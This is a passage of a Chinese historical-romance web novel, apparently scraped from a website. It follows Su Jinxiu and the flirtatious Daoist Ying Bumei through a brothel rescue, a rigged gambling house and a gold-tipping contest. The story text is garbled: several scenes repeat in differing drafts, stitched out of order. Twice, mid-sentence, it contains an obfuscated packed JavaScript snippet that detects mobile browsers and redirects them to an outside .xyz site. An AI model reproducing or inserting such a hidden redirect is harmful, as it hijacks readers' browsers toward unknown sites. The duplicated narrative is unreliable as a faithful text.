说着便踉跄着往上逼,伸手就去抓她手腕。苏锦绣惊得后退,脚下一绊险些跌在梯上,刚爬起来要跑,手腕已被他攥住,猛地拽了回去。酒气混着脂粉味扑面而来,她拼命推搡,那公子却嘿嘿笑:“小美人别躲,陪爷喝两杯,有你好处!” “滚开!” 苏锦绣只觉手腕被攥得生疼,又推又挣,后退间脚下忽然踩到个什么东西,后背也撞上一堵“墙”。 头顶随即传来熟悉的低音:“巧娘这踩人的功夫,倒是越发精进了。” 她只觉腰被人揽住,紧接着便听“哎哟”一声痛呼,那富态公子被人踹中胸口,摔在楼梯口,捂着腰哼哼唧唧爬不起来。 苏锦绣猛地抬头,撞进应不寐含笑的眼,他仍摇着那把竹骨扇,笑意却不及眼底。 “现在可以松脚了吗?”应不寐揶揄。 苏锦绣这才猛地回神,忙不迭收回踩着他的脚,低声道:“对不住,我……我没留意。” 楼梯口的醉汉趴在梯级上痛呼,却仍梗着脖子骂:“哪来的疯子!这小娘子是爷先看上的,你也敢抢?” 话音未落,应不寐便难得冷了脸,足尖稳稳踩在他手背上狠狠碾动。 “啊——!”凄厉的惨叫瞬间盖过楼里的丝竹声,醉汉疼得浑身抽搐,再也骂不出半个字。 应不寐却似未闻,顺势伸臂揽住苏锦绣的后腰,轻轻往自己这一带,语气淡得像在说家常:“这位郎君喝多了失了态,实在辣目,我们走。” 苏锦绣整个人还僵着,没分清方才的惊悸和此刻的怔忡,就被他半搂着往楼下走。 到了转角暗处,应不寐忽然开口,声音压得极低,只两人能闻: “方才在鸣玉院楼上,看贫道看得那般专注……是在吃醋,还是在猜贫道的身份?” 苏锦绣并不上他的套,只垂着眼避开那探究的目光,语气尽量平静:“方才多谢你,帮我解围。” 她答非所问,应不寐也没紧逼,只低头看她。 方才的惊悸未平,她正透着难得一见的乖顺,惹人怜爱,全不像平日那般处处防备,一碰就炸毛。 他心头微动,手竟比脑子先行,伸过去捏她颊边软乎乎的肉,触感温软,像捏了把刚揉好的棉絮。 苏锦绣眉头紧蹙,脸颊肉被捏得微微鼓起,连嘴角都扯得歪了些,模样滑稽又娇憨。 “你干嘛?!” 她实在不解他这突如其来的恶趣味,瞪着应不寐,像只被惹得炸毛的兔子。刚要抬手打掉他的手,他却先松了劲,笑着用指腹轻轻在她被捏过的地方揉了两下,似是在补偿安抚。 苏锦绣心头乱起来:自己不过几分寻常姿色,怎及得上他身边的千娇百艳?这般招惹,是觉得她这身份新鲜?还是另有所图?方才亲昵的动作,他是否也经常对旁人做?越想越觉得烦躁,偏又说不出缘由。 应不寐目光暗了暗,视线落在她颈间晃动的银锁上:“你这长命锁倒是别致……银的?”没等苏锦绣答,他自顾自又问:“不如换个金的?贫道认识汴京最好的金匠,还能把你的名字刻上去。” 话音刚落,那厢忽然传来玉笙清脆的笑声,似是正要出门。 苏锦绣趁机推远他,拉开距离,往声源处望了望,胸前银锁晃出细碎声响:“不必劳烦,这是我阿弟送的。” 应不寐挑眉,桃花眼眯成细缝:“哦,就是那个总跟在你身后,眼神像狼崽子似的小郎君?” 他忽然上前一步,将苏锦绣困在墙壁与臂弯之间,声音压得极低: “就他那般,护得住你一时,护得住你一世吗?” 这话正戳中苏锦绣的逆鳞,她最是护短,容不得旁人说阿钦半句不是。 应不寐见提到那小郎君她眼神发厉,几乎要扑上来与他理论,心下莫名郁结。 她这般汲汲营营,见了除了他的财就眼开,也是因为那个劳什子阿弟? 没等她动作,应不寐忽然俯身将她打横抱起,苏锦绣彻底懵了,反应过来后拼命挣扎:“你干什么!” 应不寐低笑一声,吓唬她:“刚才不是谢我解围?不如以身相许,就当报答了。” “我不要!”苏锦绣吓得心都乱了,手脚并用地挣着,却被他抱得更紧。 应不寐抱着苏锦绣往前挪步,刚过玉笙房门,门恰好开了,玉笙推门就看见被应不寐横抱在怀的苏锦绣,当场目瞪口呆,连扇穗都忘了晃。 “玉笙!玉笙救我!”苏锦绣急得声调发颤,伸手就要往玉笙那边挣。 应不寐被她这慌慌张张伸手求救的模样逗笑,如此这般,倒衬得自己像是采花大盗劫了良家小姐,他心下莫名欢喜,脚步迈得更快。 玉笙愣在原地没反应过来,应不寐已经走远,苏锦绣忙去摸头上的簪子,指尖刚触到簪头,就听应不寐的声音响起:“怎么,还想扎我?” 苏锦绣手一顿,虚张声势:“你要是做混账事,我自然要扎你!” 应不寐不接话,见她在怀中张牙舞爪,只低笑出声,胸膛的震动透过衣料传过来,那笑声不像嘲讽,倒带了几分开怀。 他没再逗她,很快将她放下,苏锦绣站稳后环顾四周,才发觉已进了醉春坊里的赌坊。 屋内燃着数十盏琉璃灯,光焰灼灼,映得满室亮如白昼。两排紫檀木赌桌整齐地列到尽头,桌面铺着暗纹锦毯,筹码堆得像小山,金的耀眼、银的莹白,还有嵌着宝石的彩筹在灯下泛着光。四周挂着绣金帐幔,随风轻晃间,能看见账下赌客们或拍桌吆喝、或低声算计,连伺候的丫鬟都穿着绫罗绸缎,鬓边簪着珍珠钗,处处透着奢靡华丽。 苏锦绣站稳后,看着满室喧嚣,蹙眉道:“ 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应不寐突然捏住她下巴,强迫她抬头看自己:“巧娘你看,这世道就是这样。要么有钱,要么有权,要么……”他俯身贴近,语气带着引诱,“有个靠山。” 苏锦绣不想听他这些歪门邪道,狠狠推开他,往后退了两步,却不小心撞在一个摆满筹码的木桌上,银质筹码哗啦啦掉了一地。应不寐看着她的不知所措,突然低笑出声:“逗你的。”随后弯腰捡起一手银色筹码,塞进她手心,“拿着,来都来了,赌一把看看运气,赢了算你的,输了算我的。” “来,先试试猜三骰 。” 应不寐微微倾身,气息拂过苏锦绣耳畔,低声道,“掷骰子时,要听这碰撞声,沉闷是六点,清脆是两点,要是咚的一声,大概率红面朝上,咱们就押红。” 苏锦绣眸光闪动,似是将这话嚼碎吃透,恰在此时,庄家抬手要掷骰,她屏息细听。骰子在碗中跳跃碰撞,一声沉厚“咚”响传来,她毫不犹豫,指尖轻点,将银筹稳稳押在“红”字格上。刹那间,周遭议论纷纷,众人皆好奇这初来乍到的女子究竟有几分底气。 待骰子停稳,三枚红面朝上,众人惊呼声顿起,庄家虽面色不渝,却也难掩诧异,将一堆赢注推到苏锦绣面前。 苏锦绣盯着面前新推来的银筹,指尖轻轻碰了碰,冰凉的触感混着赢局的惊喜,让她眼睛瞬间亮了起来。她抬头看向应不寐,嘴角还带着没藏住的笑意,连带着眼神都软乎乎的。 应不寐正低头见她这副模样,眼底的笑意更深。琉璃灯的光落在两人身上,他玄袍衬得身姿挺拔,她素衣映得眉眼温软。任谁看了,都得赞一句,这分明是一对登对的金童玉女。 紧接着,赌局换为赌单双。应不寐手指漫不经心地敲着桌面,提点道:“留意庄家袖口,晃三次,藏的多是双点。” 苏锦绣抬眸,紧盯庄家一举一动,见其袖口微晃,心中已有计较,迅速取两枚筹码押在“单”上。 骰子落定,果然是单数,赢来的银筹再度垒高。 旁边赌徒看得咋舌,看向苏锦绣的眼神里满是惊叹与羡慕,连庄家都变了脸色。 苏锦绣握着满手银筹,眼底亮着聪慧的光,转头看向应不寐时,带着几分笃定:“这赌坊的门道,原也不难懂。” 应不寐望着她指尖的银辉,唇角笑意深了几分,他不过点了两句,她竟已通透至此,“巧娘聪慧,一点就通。” 银筹在苏锦绣掌心堆得温热,周遭的惊叹声还没消散,她却突然将筹码往桌上一推,语气骤然冷下来:“我不玩了。” 方才眼底的亮意瞬间敛去,只剩清明。连赢两把的顺遂太过刻意,应不寐指尖提点时的从容,庄家眼底一闪而过的迟疑,哪是她运气好,分明是他在暗处铺路。 琉璃灯映出的五光十色倾泻在应不寐身上,他整个人在光影里流转,真像只开屏的孔雀,华彩逼人。他挑着眉看她,桃花眼里盛着玩味,既带着几分“猎物竟没入套”的惊奇,又藏着引诱她再度伸手的暗劲,仿佛下一秒就要用这满桌银辉,将她拽进欲望里。 “赢了钱,不开心吗?”他俯身靠近,声音里裹着笑意,“怎么突然不想玩了?” 应不寐忽然倾身,捏住苏锦绣的下巴,指腹轻轻摩挲着她颊边那点被赌坊暖气熏出的薄红,“还是……”他尾音拖得绵长,眼神往她颈间银锁扫了扫,“怕回去被你那狼崽子似的阿弟骂?” 苏锦绣总觉得这话听得怪,就像她是一个怕被家中正妻管教的赌鬼丈夫似的,语气不自然地带上了几分硬气:“我怕他作甚?小赌怡情,大赌伤身,见好就收,总比贪心不足栽了跟头强。” 应不寐闻言默然,指间骨牌轻落,烛火在他眼底,明灭不定,他情绪愈发难辨,似有千言,终是凝在喉间,化作无声的沉郁。 毫无预兆,他突然转身往外走,玄色衣摆扫过狼藉筹码,没有半分留恋。 苏锦绣不解他突然的变化,连忙提着裙摆跟上,刚跨出门槛,便见月光如练,正斜斜落在他身上,给他周身镀了层冷润的银边。 “应不寐,你到底想要什么?”她终是忍不住开口,声音在夜风中微微发颤。 应不寐闻言顿住,那张素来染着笑意的俊脸,此刻竟如古寺玉像般苍白死寂,没了半分活气。 试探,挣扎,还有些连他自己都未察觉的松动,朦胧得让人抓不住半分真切。 沉默在两人间蔓延,唯有远处的喧嚣偶尔掠过耳畔。 良久,他才低声重复,声音轻得像被风吹散的叹息:“想要什么……” 8.迷人眼 应不寐没再逗她,很快将她放下,苏锦绣站稳后环顾四周,才发觉已进了醉春坊里的赌坊。 屋内燃着数十盏琉璃灯,光焰灼灼,映得满室亮如白昼。两排紫檀木赌桌整齐地列到尽头,桌面铺着暗纹锦毯,筹码堆得像小山,金的耀眼、银的莹白,还有嵌着宝石的彩筹在灯下泛着光。四周挂着绣金帐幔,随风轻晃间,能看见账下赌客们或拍桌吆喝、或低声算计,连伺候的丫鬟都穿着绫罗绸缎,鬓边簪着珍珠钗,处处透着奢靡华丽。 苏锦绣站稳后,看着满室喧嚣,蹙眉道:“带我来这里干嘛?” 应不寐步至赌桌前,晃了晃手里的骰子,语气带笑:“没带你以身相许,你很失望?” 还没等苏锦绣骂他,应不寐就笑着把她带到身前,对着对面的庄家说了声“开”。 话音刚落,骰子就被抛入桌上青花碗中,滴溜溜打转,周遭赌徒目光齐聚,声声吆喝此起彼伏。 应不寐塞给她一个骰子,苏锦绣猛地抽手,骰子“哐当”掉在青石板上,滚到一个络腮胡赌徒脚边。那人骂骂咧咧捡起骰子,抬眼看见她,眼睛顿时亮了:“哟,应兄今日又换伴儿了?艳福不浅啊,小美人儿陪哥哥赌两把?赢了哥哥把筹码都送你!” 应不寐伸手揽住苏锦绣,言简意赅:“她是我的人。” 络腮胡的闻言脸色微僵,忙赔笑走了。苏锦绣这才发觉,周围的赌徒不知何时都停了手,齐刷刷盯着他们,眼神里混着探究、贪婪,还有难以掩饰的敬畏。 应不寐突然捏住她下巴,强迫她抬头看自己:“巧娘你看,这世道就是这样。要么有钱,要么有权,要么……”他俯身贴近,语气带着引诱,“有个靠山。” 苏锦绣不想听他这些歪门邪道,狠狠推开他,往后退了两步,却不小心撞在一个摆满筹码的木桌上,银质筹码哗啦啦掉了一地。应不寐看着她的不知所措,突然低笑出声:“逗你的。”随后弯腰捡起一手银色筹码,塞进她手心。 “拿着,来都来了,赌一把看看运气,赢了算你的,输了算我的。” “来,先试试猜三骰。” 应不寐微微倾身,气息拂过苏锦绣耳畔,低声道,“掷骰子时,要听这碰撞声,沉闷是六点,清脆是两点,要是咚的一声,大概率红面朝上,咱们就押红。” 苏锦绣眸光闪动,似是将这话嚼碎吃透,恰在此时,庄家抬手要掷骰,她屏息细听。骰子在碗中跳跃碰撞,一声沉厚“咚”响传来,她毫不犹豫,指尖轻点,将银筹稳稳押在“红”字格上。刹那间,周遭议论纷纷,众人皆好奇这初来乍到的女子究竟有几分底气。 待骰子停稳,三枚红面朝上,众人惊呼声顿起,庄家虽面色不渝,却也难掩诧异,将一堆赢注推到苏锦绣面前。 苏锦绣盯着面前新推来的银筹,指尖轻轻碰了碰,冰凉的触感混着赢局的惊喜,让她眼睛瞬间亮了起来。她抬头看向应不寐,嘴角还带着没藏住的笑意,连带着眼神都软乎乎的。 应不寐正低头见她这副模样,眼底的笑意更深。琉璃灯的光落在两人身上,他玄袍衬得身姿挺拔,她素衣映得眉眼温软,任谁看了都得道一句金童玉女。 紧接着,赌局换为赌单双。应不寐手指漫不经心地敲着桌面,提点道:“留意庄家袖口,晃三次,藏的多是双点。” 苏锦绣抬眸,紧盯庄家一举一动,见其袖口微晃,心中已有计较,迅速取两枚筹码押在“单”上。 骰子落定,果然是单数,赢来的银筹再度垒高。 旁边赌徒看得咋舌,看向苏锦绣的眼神里满是惊叹与羡慕,连庄家都变了脸色。 苏锦绣握着满手银筹,眼底亮着聪慧的光,转头看向应不寐时,带着几分笃定:“这赌坊的门道,原也不难懂。” 应不寐望着她指尖的银辉,唇角笑意深了几分,他不过点了两句,她竟已通透至此,“巧娘聪慧,一点就通。” 庄家麻利地撤下骨牌,又端来一个铜制方盒,里面装着二十颗磨得光滑的象牙骰子,是赌坊盛行的“二十骰赌大小”,规矩简单,将骰子倒入盒中摇晃,总点数超过六十为大,不足五十为小,全凭运气,连老赌徒都得捏把汗。 应不寐靠在桌边,指尖转着枚银筹,目光随意扫过,没把心思放在赌局上,只当看个热闹。可苏锦绣却不一样,她盯着铜盒瞧了半晌,这盒子边角有明显的磕碰痕迹,盒底还沾着些干了的香灰——方才庄家换局时,随手将盒子放在了香炉旁。 宋代铜盒多是手工打造,磕碰后盒身会轻微变形,重心偏向凹陷的一侧。方才庄家晃盒子时,左手一直按着盒身凹陷处,骰子受重心影响,大概率会往重的一侧滚动,而那侧内壁刻着细微的凸纹,骰子撞上凸纹,点数容易集中在“五”“六”这些大点上。 待庄家停下动作,将铜盒扣在桌上,众人正犹豫着下注,苏锦绣突然伸手,把刚赢来的银筹一股脑推到“大”字格上。这一下动静不小,周围赌徒顿时炸开了锅:“姑娘疯了?这二十骰赌大小全看天意,哪有这么押的!”应不寐也收了玩筹的动作,挑眉看向她,眼神里多了几分探究,前两局她靠听声、观袖赢了钱,这次却押得如此干脆,倒有些意思。 庄家见她押注豪爽,脸上堆起笑:“姑娘确定押大?开盒可就改不了了。” 苏锦绣点头:“确定,不过我倒要问问庄家,这铜盒是不是上个月从城西铜器铺买的?” 庄家脸色微变,这铜盒确实是他特意定制的,为的就是利用重心作弊,可这女子怎么连出处都知道?他强作镇定,伸手去掀盒盖。刚打开一条缝,就见里面骰子密密麻麻堆着,大多朝上的面是“五”和“六”。等完全掀开,有人立刻数了起来,数到最后,高声喊:“七十二点!大!” 赌徒们凑到铜盒前,果然见骰子点数大多是大点,再看盒身左侧,真有个不起眼的凹陷。庄家脸色铁青,捏着盒盖的手都在抖。 应不寐走到苏锦绣身边,赞道:“巧娘竟能从铜盒上看出门道,这本事,倒是罕见。” 苏锦绣笑着把银筹拢到身前:“也没什么,就是瞧着这盒子晃的时候,总往一边偏,猜着骰子会往重的地方滚罢了。”她没说这是现代浅显的道理,可这话落在众人耳中,只觉得这女子心思灵巧,连铜盒的细微变化都能察觉,看向她的眼神里,满是佩服与惊叹。 周围的起哄声像潮水般涌来,赌徒们围着苏锦绣,七嘴八舌地喊着“姑娘再押一把!”“凭您这本事,定能把庄家赢哭!”连方才脸色铁青的庄家,也堆着假笑劝道:“姑娘手气正旺,不如再赌一局,这局我让您先选赌法。” 苏锦绣握着沉甸甸的银筹,方才连赢三局的快意还在心头打转,加上众人热切的目光,她几乎要抬手应下。眼角余光瞥见应不寐,他靠在廊柱上,手中银筹转得飞快,嘴角噙着似笑非笑的弧度,那眼神像是在看一场好戏,又像是在等着她栽跟头。 她猛地吸了口气,强迫自己收回目光,抬眼打量起赌坊景致。这才发现,赌坊梁上挂着的走马灯,画的是连中三元的赌局图案,灯影流转间晃得人眼晕;墙角燃着的香,是赌坊常用的迷魂香,燃着时会散出极淡的甜香,闻久了容易让人头脑发沉、贪念滋生;连方才递水给她的伙计,碗沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258315|181871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都沾着一点蜜浆,喝下去后舌尖发甜,更易让人放松警惕。 这些细节单独看并不起眼,可凑在一起,分明是有人在暗中引导她上瘾。苏锦绣后知后觉地惊出一身冷汗,前两局应不寐提点她,第三局她靠自己赢了钱,本以为是自己占了上风,却没想从踏入赌坊开始,就落入了圈套。 银筹在苏锦绣掌心堆得温热,周遭的惊叹声还没消散,她却突然将筹码往桌上一推,语气骤然冷下来:“我不玩了。” 方才眼底的亮意瞬间敛去,只剩清明。 琉璃灯映出的五光十色倾泻在应不寐身上,他整个人在光影里流转,真像只开屏的孔雀,华彩逼人。他挑着眉看她,桃花眼里盛着玩味,既带着几分“猎物竟没入套”的惊奇,又藏着引诱她再度伸手的暗劲,仿佛下一秒就要用这满桌银辉,将她拽进欲望里。 “赢了钱,不开心吗?”他俯身靠近,声音里裹着笑意,“怎么突然不想玩了?” 应不寐忽然倾身,捏住苏锦绣的下巴,指腹轻轻摩挲着她颊边那点被赌坊暖气熏出的薄红,“还是……”他尾音拖得绵长,眼神往她颈间银锁扫了扫,“怕回去被你那狼崽子似的阿弟骂?” 苏锦绣总觉得这话听得怪,就像她是一个怕被家中正妻管教的赌鬼丈夫似的,语气不自然地带上了几分硬气:“我怕他作甚?小赌怡情,大赌伤身,见好就收,总比贪心不足栽了跟头强。” 应不寐闻言默然,指间骨牌轻落,烛火在他眼底,明灭不定,他情绪愈发难辨,似有千言,终是凝在喉间,化作无声的沉郁。 毫无预兆,他突然带着苏锦绣转身往外走,玄色衣摆扫过狼藉筹码,没有半分留恋。 苏锦绣不解他突然的变化,刚跨出门槛,便见月光如练,正斜斜落在他身上,给他周身镀了层冷润的银边。 “应不寐,你到底想要什么?”她终是忍不住开口,声音在夜风中微微发颤。 应不寐闻言顿住,那张素来染着笑意的俊脸,此刻竟如古寺玉像般苍白死寂,没了半分活气。 试探,挣扎,还有些连他自己都未察觉的松动,朦胧得让人抓不住半分真切。 沉默在两人间蔓延,唯有远处的喧嚣偶尔掠过耳畔。 良久,他才低声重复,声音轻得像被风吹散的叹息: “想要什么……” 说完此句他便不再多言,态度莫测,行至醉春坊门口,一辆油光水滑的乌木马车赫然出现,车轮裹着厚厚的锦缎,连辕马的鬃毛都梳得一丝不苟,还系着银铃串成的缨络,排场比县太爷出巡还要讲究。苏锦绣暗自思忖,若是坐了这马车回家,明日整条绣巷的人怕是都要上门来探问。 应不寐斜倚着车门,手里把玩着那枚龙凤佩,玉佩相撞发出清脆的响声。 “怕了?” 苏锦绣攥紧了手里的竹篮。 “我自己走。” 应不寐却如未闻,慢悠悠地收起玉佩,弯腰钻进马车:“上来吧,送你到巷口。”他撩开车帘,露出里面铺着雪白狐裘的坐垫,“再磨蹭下去,你弟弟该提着刀来找你了。” 苏锦绣终是弯腰钻进了马车,车内狐裘软得像踩在云端,鼻尖萦绕着若有似无的檀香,车顶夜明珠莹润生光,紫檀壁嵌银丝云纹,雪白狐裘铺地,墨玉矮几上霁蓝瓷瓶斜插红梅,龙涎香袅袅,雅致华贵。 车帘落下,隔绝了外面的世界,也彻底断绝了她最后一点退路。 应不寐入车便斜倚狐裘,阖目养神,一改往日里跳脱,只余沉默。苏锦绣僵坐一旁,车内只闻熏香轻绕,两人相对无言,空气凝滞。 9.百两金 午后日脚西斜,金辉穿牖而入,自东壁漫过地衣,淌至西窗下,在地面上织就粼粼光纹。 忽有微风穿帘,吹动裙上未完工的珠络,叮咚轻响。 苏锦绣坐于光霭之中,荆钗挽髻,额前几缕青丝微扬,专注绣改手中华裙。 她黛眉轻颦,杏眼半敛,指间银针穿引,莹白珍珠便随她手腕轻转,乌木衣架上悬着自醉春坊带来的衣裙,或烟霞色蹙金绣、或月白色暗纹罗、或湖蓝色织锦缎,皆是搭配新颖,华彩灼灼。 光影流转间,素手翻飞,竟似九天仙娥临凡,在人间织就云锦,合着满室暖阳,教这寻常人家的午后,染了几分仙境般的旖旎。 苏锦绣伸腰捶背,笑意轻扬:“总算好了!” 苏锦绣现代曾为了讨生活改行做过服装设计师,那段经历让她深谙现代服饰的剪裁审美与面料巧思,也成了如今她改良服饰的独特底气。 她将四身襦裙妥帖收进青布包袱,脚步轻快往醉春坊去。想起昨日与闻时钦的小冲突,心底明镜似的,他分明还念着去白鹿洞求学。这几身衣裳交了差,少说能得十两银子,还有一计,若是能成,凑够他半年的花销定是稳的。 不多时便到了醉春坊,檐角挂着鎏金灯彩,门首扎着彩绸牌楼,往来小厮提着食盒奔走,隐约有笙箫琵琶声从楼里飘出,正是一派舞榭歌台,喧嚣市井。 她寻玉笙不着,问了丫鬟才知,玉笙正与凝珠在鸣玉院台上斗琵琶,拼的是看客打赏。 于是苏锦绣寻至鸣玉院,拾级上了二楼,倚着雕花栏杆往下瞧。花台锦簇,两位佳人犹抱琵琶半遮面,左边是一派风情的玉笙,右边……该是凝珠了? 只见她着月白流仙裙,素净如带露白莲,拨弦时眉尖微蹙,愁绪眼波往台下一扫,恰好撞上位翩翩公子,那人身着蜀锦圆领袍,腰系白玉蹀躞带,一看便是官家子弟。他当即笑了,对小厮道:“赏!”几两黄金便“当啷”落进银盘。 台下小厮高声唱喏,凝珠的赏金眼看着要压过玉笙。末了正要定局,忽有个漫不经心的声音从楼下雅座响起: “一百两黄金,赏玉笙。” 苏锦绣心头一跳,循声望去,角落雅座里,有翩翩公子斜倚案前,漫不经心地摇着竹骨扇。那人束玉冠,乌发垂,肩背如松如竹,锦袍泛着低调华光。 风流作态玉人骨,比台上盛景更教人移不开眼,不是应不寐是谁? 百两黄金竟这般轻描淡写掷出,定然不简单,他到底是何方人物?又怎会无端与自己几番周旋?都说怀璧其罪,可苏锦绣想了一圈,自己身上还真没什么值得觊觎的地方,但能肯定他的蓄意接近定是藏着什么算计,打定主意往后要离他远些。 玉笙得了重赏,笑得花枝乱颤,向应不寐抛去个媚眼,应不寐抬手端起酒盏,勾着唇向台上虚虚回敬了一下。 苏锦绣目光仍胶着在那背影上,应不寐骨扇轻顿,似是感知到了什么,然后转头,目光精准扫来,四目猝然相撞。 应不寐眉梢微挑,惯是眠花宿柳的风流相,唇角噙着疏懒笑意,学着玉笙方才的模样,也向她抛了个媚眼。 苏锦绣皱眉,忙别开眼,落荒而走。 刚近玉笙房前,忽闻斜对过厢房里传出女子私语,苏锦绣脚步不由一顿。 “应道长今儿可真阔气,百两黄金说掷就掷。” “这算什么?上月城西赌坊,也是这般一掷千金,就为看坊主夫人弹曲。”另一人语调带了点促狭,“这浪荡子本就是风月场里的常客,最会撩拨人心。” “那也得有资本不是?生得那般好皮相,出手又大方,这醉春坊里,哪个女子能逃得过他的眼波?” 苏锦绣听着,攥紧了包袱带,心底离他远些的念头更甚。 在房里等了会,玉笙便摇着羽扇进来,满面春光,边走边与丫鬟笑叹:“应道长今日可真是给足了我面子,百两黄金掷得干脆,这醉春坊里,也就他有这般气度!”丫鬟忙凑趣奉承,句句不离应不寐阔绰。 苏锦绣只截住话头谈正事,将包袱里的襦裙取出。 玉笙一看便眼亮,烟霞金纹、月白纱波,件件都合她心意,当即爱不释手,爽快递过十两银子作报酬。 苏锦绣趁机和她耳语托付另一件事,玉笙拍着扇子笑:“这有何难?包在我身上!” 苏锦绣谢过,玉笙又叹:“除了安姐姐,正经绣坊的绣娘都嫌我们是勾栏女子,不愿接活,也就你肯用心做。” 苏锦绣闻言轻声道:“若有选择,谁愿入这风月场?可便是来了,凭才情力气挣钱,也比那些啃家底的懒汉强,靠自己本事吃饭,有什么该被鄙夷的?” 玉笙听得眼眶心头皆是一热,更觉与她投契,再三保证定会办妥她托付的事。 苏锦绣辞别出门,想着玉笙的承诺,心里悬着的一块石头总算落了地。 出门时天色渐沉,醉春坊的勾栏楼阁亮起暧昧红灯,光晕虚虚实实。 苏锦绣辨着昏暗中的楼梯往下走,迎面却撞上个浑身酒气的富态公子,他醉眼迷蒙,抬头见了苏锦绣,忽的睁大眼:“呦,醉春坊何时新来了这般水灵的小妮子?”说着便踉跄着往上逼,伸手就去抓她手腕。 苏锦绣惊得后退,慌乱间险些绊倒,踉跄几步稳住身形,转身就跑。 身后的富态公子却以为她是欲拒还迎,嘿嘿笑着穷追不舍:“醉春坊调教的姑娘,真是越来越有趣味了!” 苏锦绣满心只想快点跑回玉笙的房间,慌不择路地拐过拐角,直直撞进一个坚实的怀抱,还不小心踩到了对方的脚。 “唔。”那人闷哼一声,非但没有推开她,反而顺势将她稳稳抱住。头顶随即传来一道熟悉的低沉嗓音,带着几分戏谑:“巧娘这踩人的功夫,倒是越发精进了。” 苏锦绣猛地抬头,撞进应不寐含笑的眼眸里,一贯轻佻,却让她瞬间安下心来。 身后的富态公子追了上来,见苏锦绣被人抱着,顿时勃然大怒,指着应不寐骂道:“哪来的疯子?这妮子是爷先看上的,你也敢抢?” 话音未落,应不寐便稳稳抱着苏锦绣,抬膝朝富态公子胸口踹去。那公子惨叫一声,被踹飞出去好几步,重重摔在地上,痛得龇牙咧嘴。 “所以巧娘,可以松脚了吗?”应不寐低头看向苏锦绣,语气温和。 苏锦绣这才猛地回神,忙不迭收回踩着他的脚,低声道:“对不住,我没留意。” 地上的富态公子咬牙切齿,却仍不服气,眯着醉眼费力辨认,待看清应不寐的模样,顿时像是被踩了尾巴的猫,梗着脖子怒骂:“好你个臭道士!原来是你!” 原来这公子近日在醉春坊有个相好,前些日子却被应不寐吸引,便对他冷淡了许多,此刻见情敌又坏了自己的好事,更是怒上心头,梗着脖子咒骂,还含糊不清地把应不寐叫成“鹦鹉妹”。 话音未落,应不寐便难得冷了脸,抬脚,稳稳踩在他脸上狠狠碾动。 “啊——!”凄厉的惨叫瞬间盖过楼里的丝竹声,醉汉疼得浑身抽搐,再也骂不出半个字。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277534|181871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >应不寐却似未闻,语气淡得像在说家常:“醉鬼失态,实在辣目,我们走。” 苏锦绣整个人还僵着,没分清方才的惊悸和此刻的怔忡,就被他半搂着往回走,到了转角暗处,应不寐忽然开口,声音压得极低,只两人能闻: “方才在鸣玉院楼上,看贫道看得那般专注……是在吃醋?还是在猜贫道的身份?” 苏锦绣并不上他的套,只垂着眼避开那探究的目光,语气尽量平静:“方才多谢你,帮我解围。” 她答非所问,应不寐也没紧逼,只低头看她。 方才的惊悸未平,她正低眉顺眼,透着难得一见的乖巧,全不像平日那般处处防备,一碰就炸毛。应不寐心头微动,手竟比脑子先行,伸过去捏她颊边软乎乎的肉,触感温软,像捏了把刚揉好的面团。 苏锦绣眉头紧蹙,脸颊肉被捏得微微鼓起,连嘴角都扯得歪了些,模样滑稽又娇憨。 “你干嘛?!” 她实在不解他这突如其来的恶趣味,瞪着应不寐,像只被惹得炸毛的兔子。刚要抬手打掉他的手,他却先松了劲,笑着用指腹轻轻在她被捏过的地方揉了两下,似是在补偿安抚。 苏锦绣心头乱起来,自己不过几分寻常姿色,他却这般招惹,是觉得她这身份新鲜?还是另有所图? 应不寐的视线落在她颈间晃动的银锁上,目光暗了暗:“你这长命锁倒是别致……银的?” 没等苏锦绣答,他自顾自又问:“不如换个金的?贫道认识汴京最好的金匠,还能把你的名字刻上去。” 话音刚落,那厢忽然传来玉笙清脆的笑声,似是正要出门。 苏锦绣趁机推远他,拉开距离,胸前银锁晃出细碎声响:“不必劳烦,这是我阿弟送的。” 应不寐挑眉,桃花眼眯成细缝:“哦,就是那个总跟在你身后,眼神像狼崽子似的小郎君?” 他忽然上前一步,将苏锦绣困在自己与墙壁之间,声音压得极低: “巧娘猜怎么着?” “前几日贫道路过演武擂,恰逢那里办枪术夺魁赛,教头同我闲聊说,有个少年枪使得极俊,就是打得太急,左臂渗出血来也不管,看得人都眼慌,就为了赢那几两银子的奖金。” 苏锦绣闻言猛地抬头,撞进应不寐深不见底的黑眸里。 前几日闻时钦归家时的模样骤然清晰,他眉眼间染着轻快笑意,晃着脑袋说“有惊喜”。 可再仔细回想,他那时唇色泛白,更是连续几天都没抬过左手。 那些被她忽略的细节此刻全涌上来,她皱紧眉头,攥着银锁的指尖微微发颤。 应不寐将她眼底的慌乱与心疼尽收眼底,说不清心中是何种滋味,他素来圆滑通透,最懂拿捏人情分寸,可此刻见她这般牵动心绪,话到嘴边竟失了准头。 他俯身逼近,继续刺激她:“就他那点本事,拼了命就赢来一枚银锁,护得住你一时,难道还能护你一世吗?” 这话正戳中苏锦绣的逆鳞,她最是护短,容不得旁人说阿钦半句不是。 应不寐见提她眼神骤然发厉,几乎要扑上来与他理论,心下莫名郁结。 她这般汲汲营营,见了除了他的财就眼开,就是因为那个劳什子阿弟? 真是姐弟情深。 没等她动作,应不寐忽然俯身将她打横抱起,苏锦绣彻底懵了,反应过来后拼命挣扎:“你干什么!” 